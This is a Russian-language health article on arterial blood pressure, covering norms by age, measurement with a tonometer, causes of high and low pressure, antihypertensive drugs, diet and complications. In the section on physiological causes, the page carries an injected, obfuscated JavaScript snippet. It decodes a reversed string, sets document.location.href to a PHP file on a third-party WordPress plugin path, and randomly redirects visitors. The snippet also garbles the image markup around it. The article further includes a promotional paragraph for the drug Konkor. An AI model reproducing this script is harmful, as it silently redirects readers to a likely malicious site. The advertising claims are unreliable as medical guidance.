В современном обществе всё чаще встречаются болезни, связанные с изменением артериального давления. Медицина разработала эффективные способы лечения подобных состояний. С последствиями высокого и низкого давления часто приходится сталкиваться врачам разных специальностей. Болезни влияют на состояние мозга, сердца, сосудов, почек. Борьба с высоким и низким давлением — дело не только врача, но и пациента.
Содержание
Механизм образования кровяного давления в организме
Артериальное давление, часто именуемое кровяным, — вещь загадочная для большинства людей, не имеющих отношения к профессиональной медицине. Многие узнают о его существовании после выхода на пенсию. Хотя, пожалуй, в организме нет вещи более важной, чем артериальное давление (АД).
АД — основной показатель стабильной работы организма и его жизнеспособности. Давление присутствует во всех уголках сосудистой системы человеческого организма. В венах и капиллярах оно довольно низкое, всего несколько миллиметров ртутного столба. Специалистов больше волнует артериальное давление, благодаря которому клетки и ткани получают питание и кислород — основу самой жизни.
Часто можно услышать понятие верхнее и нижнее давление. На самом деле, эти два термина являются не совсем верными. Первый стоит заменить на понятие систолическое АД, поскольку большой вклад в его формирование вносит сокращение (систола) сердца. Левый желудочек тысячи раз за сутки толкает кровь в самый мощный сосуд организма — аорту. Нижнее давление логичнее называть диастолическим. В его формировании играет роль как наполнение всей системы кровью (так называемый объём циркулирующей крови), так и напряжение мышц сосудов. Те несколько долей секунды, когда сердце отдыхает (диастола), продвижение крови обеспечивается именно этими двумя факторами.
Артериальное давление — видео
Нормативные показатели АД
Артериальное давление является, пожалуй, одним из нескольких показателей, для которых соответствие норме — условие для успешного функционирования всего организма. Существуют показатели нормального давления для всех типов сосудов: капилляров, вен и артерий. Первые два учитываются только в отделениях реанимации стационаров и специальных медицинских исследованиях. В повседневной жизни врачей и пациентов больше волнуют нормы артериального давления. Оно измеряется довольно просто и сильно влияет на долгосрочный прогноз.
Нормативные показатели АД определены для детей и взрослых отдельно. В первом случае они напрямую зависят от возраста маленького пациента. Наименьшие показатели отмечаются у новорождённых и грудных детей. У подростка нормальный уровень АД близок к таковому взрослого человека.
Нормы АД для детей разного возраста — таблица
| Возраст ребёнка | Артериальное давление (мм. рт. ст.) | |
| Систолическое (первый звук в фонендоскопе) |
Диастолическое (последний звук в фонендоскопе) |
|
| Новорождённый | 60–96 | 40–50 |
| До 1 года | 90–112 | 50–74 |
| 2 года — 3 года | 100–112 | 60–74 |
| 4 года — 5 лет | 100–116 | 60–76 |
| 6 лет — 9 лет | 100–122 | 60–78 |
| 10 лет — 12 лет | 110–126 | 70–82 |
| 13 лет — 15 лет | 110–136 | 70–86 |
| 16 лет | 115–140 | 75–90 |
Для взрослых людей всемирная организация здравоохранения (ВОЗ) определила свои нормы артериального давления:
- низкое нормальное АД 90–100 и 60 мм рт. ст.;
- оптимальное АД 110–120 и 70–80 мм рт. ст.;
- высокое нормальное АД 130–140 и 90 мм рт. ст.
Состояние, при котором артериальное давление ниже нормальных показателей, носит название гипотонии. Обратная ситуация обозначается термином гипертония.
О чём говорит диастолическое давление — видео
Методика измерения АД
Для того чтобы узнать систолическое и диастолическое АД, используется измерение непрямым методом при помощи прибора под названием тонометр. Давление определяется не в самом сосуде, а в манжете аппарата. Прямым методом артериальное давление измеряется в операционных и отделениях реанимации при помощи специальных приспособлений.
Перед измерением давления необходимо спокойно посидеть в течение 15 минут. В противном случае результат окажется недостоверным. Измерять АД можно как на правой, так и на левой руке. Обычно разница не превышает 10 мм рт. ст. У некоторых людей имеется существенное различие показателей давления. За основу в этом случае берутся большие цифры. В последующем АД рекомендуется измерять именно на этой руке. Манжета аппарата накладывается по инструкции либо на плечо выше локтя, либо на запястье в зависимости от вида тонометра.
АД можно успешно измерить на ногах при помощи того же тонометра и соответствующей манжеты. Такая техника используется врачами для диагностики пороков сердца и крупных сосудов (например, коарктации аорты).
Существуют механические, полуавтоматические и автоматические тонометры. В первом и втором случае человек самостоятельно накачивает воздух в манжету при помощи груши. В третьем это делает автомат. Собственно цифры систолического и диастолического АД прибор определит сам при помощи датчиков, находящихся в манжете. Поэтому её расположение на плече должно точно соответствовать инструкции. Обычно на манжете имеется указательная стрелка.
При измерении АД механическим тонометром в месте прохождения плечевой артерии чуть выше локтевой ямки устанавливается головка фонендоскопа. С его помощью выслушиваются сосудистые тоны. Первый услышанный звук после начала спуска воздуха соответствует систолическому, последний — диастолическому АД. Для получения достоверного результата давление желательно измерить три раза и выбрать средние значения. Пациенты, которым врач рекомендовал контролировать АД, должны проводить измерения утром и вечером. Все результаты необходимо записывать в дневник.
Правила измерения артериального давления — видео
Физиологические причины изменения уровня АД
Далеко не всегда отклонение АД от привычных цифр является патологией. Довольно часто организм самостоятельно переходит в такой режим работы с целью обеспечить все клетки и ткани кровью. Такой сценарий возможен в целом ряде случаев:
- во время любой физической нагрузки. Скелетным мышцам необходим приток крови, поэтому производительность сердца резко возрастает, АД поднимается;
- АД закономерно повышается при росте температуры тела;
- причиной может стать эмоциональная нагрузка и экстремальные ситуации. Основной виновник — гормон адреналин.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/09/post_5ba4b077a3eb5-728×459.jpg» alt=»Факторы, влияющие на уровень АД» width=»728″ height=»459″ /> АД может повышаться и понижаться в зависимости от потребностей органов и тканей
В некоторых случаях АД закономерно снижается:
- в ночные часы, так как большинство органов человеческого тела переходит в экономный режим работы. Большая часть крови находится в это время в депо — печени и селезёнке;
- при беременности. Эта мера необходима для доставки крови через систему сосудов плаценты к плоду.
Заболевания, приводящие к изменению уровня АД
Изменение АД в ту или иную сторону чаще всего является патологическим процессом. В норме его регуляцией занимается несколько органов, потому причин может быть множество. Чаще встречается ситуация, когда имеется избыточное повышение АД (гипертония):
- гипертония может быть вызвана воспалением почек — гломерулонефритом. При этом в организме накапливается избыток жидкости и солей;
- причина может крыться в сужении почечных сосудов. Нехватка крови и кислорода заставляет эти органы по-своему исправлять сложившуюся ситуацию. Основное средство — гормоны ренин и ангиотензин, обладающие способностью суживать сосуды;
- часто причиной высокого АД становятся опухоли почки и камни в мочевыводящих путях;
- к резким скачкам АД приводит феохромоцитома — опухоль надпочечника, периодически выбрасывающая в кровь гормон адреналин;
- к гипертонии приводит избыток гормонов щитовидной железы — тироксина и трийодтиронина;
- временно АД может повышаться у некоторых беременных женщин из-за изменений гормонального фона;
- АД повышается при некоторых пороках сердца. Типичный случай — сужение устья аорты (аортальный стеноз);
- высоким АД часто страдают подростки. Причина — половое созревание и повышение уровня многих гормонов;
- нередко АД повышается при инсульте как результат повреждения мозга.
Гипертония — видео
Во всех этих случаях гипертония носит название вторичной. Такой вид встречается редко. Гораздо чаще люди, особенно зрелого и пожилого возраста, страдают первичной артериальной гипертонией. Причина её до сих пор выясняется. Немаловажную роль здесь играет фактор наследственности. Однако следует учитывать, что вместе с генами передаётся не само заболевание как таковое, а лишь предрасположенность к нему.
Низкое АД, особенно когда цифры стремятся к экстремальным значениям, требует срочного вмешательства специалистов, поскольку такой режим работы ставит весь организм на грань выживания. Причины, как правило, очень серьёзные:
- тяжёлая травма;
- значительная кровопотеря;
- острый инфаркт миокарда;
- тяжёлая аллергическая реакция;
- внутреннее кровотечение;
- обезвоживание организма;
- тяжёлая степень малокровия;
- тяжёлое инфекционное заболевание;
- расстройства сердечного ритма;
- инсульт;
- хроническая сердечная недостаточность.
Гипотония — видео
Симптомы высокого и низкого АД
Высокое и низкое артериальное давление приводят к появлению различных симптомов. Степень их выраженности, как правило, соответствует уровню АД.
Симптомы высокого и низкого АД — таблица
| Симптомы гипертонии | Симптомы гипотонии |
|
|
Методы лечения гипертонии и гипотонии
Организму крайне необходим нормальный уровень артериального давления. Именно эту цель и преследует специалист, назначая лечебные мероприятия. Специфической терапии гипотонии не существует. Для нормализации АД в этой ситуации необходимо отыскать и устранить причину. Чаще всего такой эпизод — временное явление в жизни пациента. Гипертония же вынуждает больного человека соблюдать врачебные рекомендации постоянно.
Лекарства и гипертония
Лекарства против гипертонии — самые распространённые фармакологические средства. Медицинская наука разработала множество разновидностей препаратов, снижающих артериальное давление. При выборе конкретного лекарства учитывается возраст пациента, степень повышения АД, наличие осложнений и сопутствующих заболеваний.
Более 20 лет, для лечения артериальной гипертензии используется препарат бисопролола – Конкор. Показаниями к применению препарата помимо артериальной гипертензии являются стенокардия напряжения и хроническая сердечная недостаточность. Препарат может использоваться как в монотерапии, так и в комплексном лечении вместе с другими лекарственными средствами. При лечении гипертонической болезни пациенты отмечают хорошую переносимость препарата и удобство приема – один раз в сутки. Следует отметить, что в отличие от рядя других гипотензивных средств Конкор не нарушает сексуальную функцию, а по мнению некоторых авторов даже способствует ее улучшению.
Популярные препараты для лечения высокого давления — таблица
| Формакологическая группа | Механизм действия | Конкретные примеры |
| Бета-блокаторы | Расслабляют стенку сосудов |
|
| Ингибиторы АПФ | Ликвидируют влияние почек на сосуды |
|
| Сартаны | Ликвидируют влияние почек на сосуды |
|
| Диуретики | Оказывают мочегонное действие |
|
| Блокаторы кальциевых каналов | Расслабляют стенку сосудов |
|
Популярные лекарства для снижения АД — фотогалерея
-
- Мерцательная аритмия — частый итог постоянно повышенного давления
-
- Гипертония может привести к отслойке сетчатки
-
- Правильное питание необходимо для снижения веса
-
- Диувер оказывает мочегонное действие
-
- Амлодипин блокирует кальциевые каналы
-
- Атаканд содержит кандесартан
-
- Престариум содержит периндоприл
-
- Метопролол относится к группе бета-адреноблокаторов
-
- Высокое и низкое АД приводит к изменениям в организме
-
- Инсульт может приводить к снижению АД
-
- Анемия — частая причина гипотонии
-
- Инфаркт миокарда часто приводит к гипотонии
-
- Аортальный стеноз — частая причина подъёма АД
-
- Опухоль почки часто приводит к повышению АД
-
- Гломерулонефрит приводит к повышению артериального давления
-
- АД у беременных несколько снижено для обеспечения кровообращения плаценты и плода
-
- АД может повышаться и понижаться в зависимости от потребностей органов и тканей
-
- Механический тонометр — надёжный способ измерения АД
-
- Автоматический тонометр в зависимости от модели измеряет АД на плече или запястье
-
- Большое значение имеет уровень давления в артериальных сосудах
-
- Давление в сосудах образуется сочетанием ряда факторов
-
- Давление — основная характеристика работы сердца и сосудов
Снижение веса и нормализация АД
Нормальный вес — важный аспект в лечении гипертонии. Ориентироваться необходимо на показатель индекса массы тела (масса тела, делённая на рост в метрах в квадрате). В норме у взрослых людей он колеблется от 20 до 25 кг/м2. У пациентов с ожирением ликвидация каждых 10 избыточных килограммов приводит к снижению АД на 10 мм рт. ст. С этой целью врач рекомендует организовать правильное питание:
- количество приёмов пищи не должно быть менее пяти в день;
- объём одной порции не должен превышать 300 миллилитров (объём стандартного бокала);
- следует снизить до минимума количество употребляемой соли, поскольку она обладает способностью задерживать жидкость в организме;
- необходимо ограничить количество мучных, сладких продуктов и газированных напитков;
- по возможности следует отказаться от употребления пива и крепких алкогольных напитков;
- салаты желательно заправлять не майонезом, а соевым соусом или лимонным соком;
- гарниры и супы предпочтительно готовить из овощей;
- желательно отдавать предпочтение диетическим сортам мяса — индейке, кролику. С птицы необходимо снимать кожу;
- готовить блюда следует с помощью варки, запекания, паровой обработки.
Для снижения веса и нормализации АД крайне необходимы посильные физические нагрузки. Людям, имеющим серьёзные хронические заболевания, требуется предварительное обследование, строгое дозирование нагрузки и врачебный контроль за состоянием здоровья.
Продукты для борьбы с гипертонией — видео
Осложнения и прогноз
Нормальный уровень АД — основной критерий, который определяет долгосрочный прогноз для пациента, страдающего тем или иным заболеванием, приводящим к изменению давления. Особенно в этом плане важна коррекция гипертонии. При приёме правильно подобранных лекарств и выполнения всех рекомендаций специалиста долгосрочный прогноз благоприятный. Частые неконтролируемые подъёмы давления могут привести к серьёзным последствиям:
- ишемическому инсульту;
- кровоизлияниям в мозг;
- отслойке сетчатки и потере зрения вплоть до полной слепоты;
- хронической почечной недостаточности и необходимости лечения гемодиализом;
- инфаркту миокарда;
- хронической сердечной недостаточности;
- хроническим расстройствам ритма сердца.
Профилактика
Профилактика состояний гипертонии и гипотонии включает соблюдение ряда рекомендаций:
- придерживаться принципов правильного питания;
- заниматься физкультурой и спортом;
- своевременно лечить болезни внутренних органов;
- проходить ежегодную диспансеризацию.
Артериальное давление — важный аспект жизнедеятельности любого организма. Поддержание его на нормальном уровне поможет избежать серьёзных последствий. Здоровый образ жизни — основной способ снизить риск гипертонии при наследственной предрасположенности.
